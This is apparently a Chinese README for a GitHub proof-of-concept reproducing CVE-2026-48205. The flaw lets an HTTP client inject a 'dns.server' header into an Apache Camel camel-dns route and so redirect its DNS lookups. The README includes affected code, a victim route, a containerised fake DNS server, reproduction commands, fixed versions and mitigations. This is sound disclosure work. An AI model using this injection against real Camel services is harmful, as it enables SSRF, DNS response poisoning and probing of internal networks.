oscerd/CVE-2026-48205

GitHub: oscerd/CVE-2026-48205

Apache Camel camel-dns 组件 dns.* header 注入漏洞(CVE-2026-48205)的 PoC 复现项目,演示了通过 HTTP 请求注入 DNS resolver header 实现 SSRF 攻击的完整流程。

Stars: 1 | Forks: 1

# camel-dns `dns.*` / `term` Header 注入复现项目 (CVE-2026-48205) 本项目演示了 Apache Camel 的 `camel-dns` 组件中的一个**消息头注入**漏洞,编号为 **CVE-2026-48205**。DNS producer 从 Exchange header 中读取其操作参数 —— 要查询的 resolver、要查找的 名称/域名、记录类型/类以及搜索词 —— 这些 header 的常量值 (`DnsConstants.DNS_SERVER`、`DNS_NAME`、`DNS_DOMAIN`、`DNS_TYPE`、`DNS_CLASS`、`TERM`)是纯字符串 `dns.server`、`dns.name`、`dns.domain`、`dns.type`、`dns.class` 和 `term`。由于这些名称不以 `Camel` / `camel` 前缀开头,`HttpHeaderFilterStrategy` —— 它仅在 HTTP 边界处拦截 Camel header 命名空间 —— 使得它们能够直接从入站 HTTP 请求进入 Exchange。 在将 HTTP consumer(例如 platform-http)桥接到 `dns:` producer 的路由中,任何 HTTP 客户端都可以 设置 **`dns.server`** header,使 `dig` producer 构建一个指向攻击者控制的 DNS 服务器的 `SimpleResolver` —— 这是一种**基于 DNS 的服务端请求伪造 (SSRF)**,通过这种方式,攻击者可以观察到被查询的名称并返回投毒的响应 —— 并且可以设置 `dns.name` / `dns.domain` 来解析任意的内部主机名(内部网络探测)。 安全公告: (URL 链接) ## 漏洞概述 | 属性 | 值 | |----------|-------| | **组件** | `camel-dns` | | **受影响的类** | `org.apache.camel.component.dns.DnsDigProducer` — `new SimpleResolver(getHeader("dns.server"))` | | **CWE** | CWE-20 (不当输入验证) / CWE-918 (服务端请求伪造) | | **影响** | 将路由的 DNS 查询重定向到攻击者控制的服务器(观察名称、返回投毒的响应);枚举内部主机名 | | **前置条件** | 路由将 HTTP consumer 桥接到 `dns:` producer;如果 consumer 未认证,则该漏洞可被未授权利用 | | **受影响版本** | 从 4.0.0 到 4.14.8 之前,从 4.15.0 到 4.18.3 之前,从 4.19.0 到 4.21.0 之前 | | **修复版本** | 4.14.8, 4.18.3, 4.21.0 | | **JIRA** | CAMEL-23574 (PR [apache/camel#23411](https://github.com/apache/camel/pull/23411)) | | **致谢** | Yu Bao (PayPal) | ## 技术细节 ``` // DnsConstants (affected 4.18.2) — the control-header names are bare, non-Camel-prefixed strings: public static final String DNS_SERVER = "dns.server"; public static final String DNS_NAME = "dns.name"; // DnsDigProducer.process (affected 4.18.2) — the resolver target comes straight from the header: String server = exchange.getIn().getHeader(DnsConstants.DNS_SERVER, String.class); SimpleResolver resolver = new SimpleResolver(server); // <-- attacker-controlled DNS server int type = Type.value(exchange.getIn().getHeader(DnsConstants.DNS_TYPE, String.class)); Name name = Name.fromString(exchange.getIn().getHeader(DnsConstants.DNS_NAME, String.class), Name.root); // ... resolver.send(query) — the query goes to the attacker's server ``` 该修复(4.14.8 / 4.18.3 / 4.21.0,CAMEL-23574)将这些值重命名为 `CamelDns*` 约定。 ## 受害者路由 ``` from("platform-http:/lookup") .setHeader("dns.name", constant("example.com")) .setHeader("dns.type", constant("A")) .setHeader("dns.class", constant("IN")) .to("dns:dig"); // no dns.server -> default resolver (intended) ``` 该路由针对默认 resolver 对固定名称执行 dig 查询。攻击者只需添加一个 `dns.server` header,查询 就会被重定向到他们的 DNS 服务器。(`dns.server` 是小写的,因此它能够避开 servlet 容器对 header 的 标准化处理 —— 仅使用 platform-http 即可触发。) ## 项目结构 所有组件都在一个独立的容器中运行:受害者路由、攻击者的虚假 DNS 服务器(UDP 53)以及 攻击者驱动程序。 ``` CVE-2026-48205/ ├── pom.xml # camel-platform-http + camel-dns 4.18.2 ├── Dockerfile ├── docker-compose.yml # single self-contained service ├── README.md └── src/main/ ├── java/com/example/ │ ├── Application.java │ ├── FakeDnsServer.java # attacker DNS server on UDP 53 (records the redirected query) │ ├── VictimRoute.java # platform-http:/lookup -> dns:dig │ └── ExploitController.java # attacker: injects dns.server=127.0.0.1 └── resources/ └── application.properties ``` ## 前置条件 - Docker 和 Docker Compose(虚假 DNS 服务器需要绑定 UDP 端口 53,这需要 root 权限 —— 容器以 root 身份运行) - Java 17+ 和 Maven 3.8+(用于构建 jar 包) ## 复现步骤 ``` mvn clean package -DskipTests docker compose up -d --build curl -s http://localhost:8080/exploit/attack docker compose down ``` ### 预期输出 ``` === 1) Legitimate request (no dns.server header) — default resolver === attacker's DNS server was queried: false === 2) Injected dns.server=127.0.0.1 (SSRF via DNS) === attacker's DNS server was queried: true observed lookup name: example.com. >>> Header-injection / SSRF proof — an unauthenticated HTTP client redirected the route's DNS >>> query to an attacker-controlled server via the dns.server header: true ``` 攻击者的 DNS 服务器现在能够看到受害者的查找名称(并且可以返回投毒的应答)。将 `dns.server` 指向真实的内部 DNS resolver,或者将 `dns.name` 设置为内部主机名,即可实现对 内部网络的探测。 ## 推荐修复方案 升级到 **4.14.8 / 4.18.3 / 4.21.0**(CAMEL-23574)。升级后,通过 header 驱动 DNS 操作的路由 必须使用 `CamelDnsServer` / `CamelDnsName` 等新名称。 ## 缓解措施 在升级之前,请在任何不受信任的入口流量到达 `dns:` producer 之前剥离 `dns.*` 和 `term` header,并且 在路由中从受信任的来源设置 DNS 服务器和查找参数。 ## 免责声明 本复现项目仅用于**安全研究和授权测试**,针对的是一个**已公开披露且已修复**的漏洞。 未经明确许可,请勿将其用于任何系统。
标签:Apache Camel, CISA项目, DNS, JS文件枚举, PoC, SSRF, 域名枚举, 头部注入, 插件系统, 暴力破解, 漏洞复现, 版权保护, 请求拦截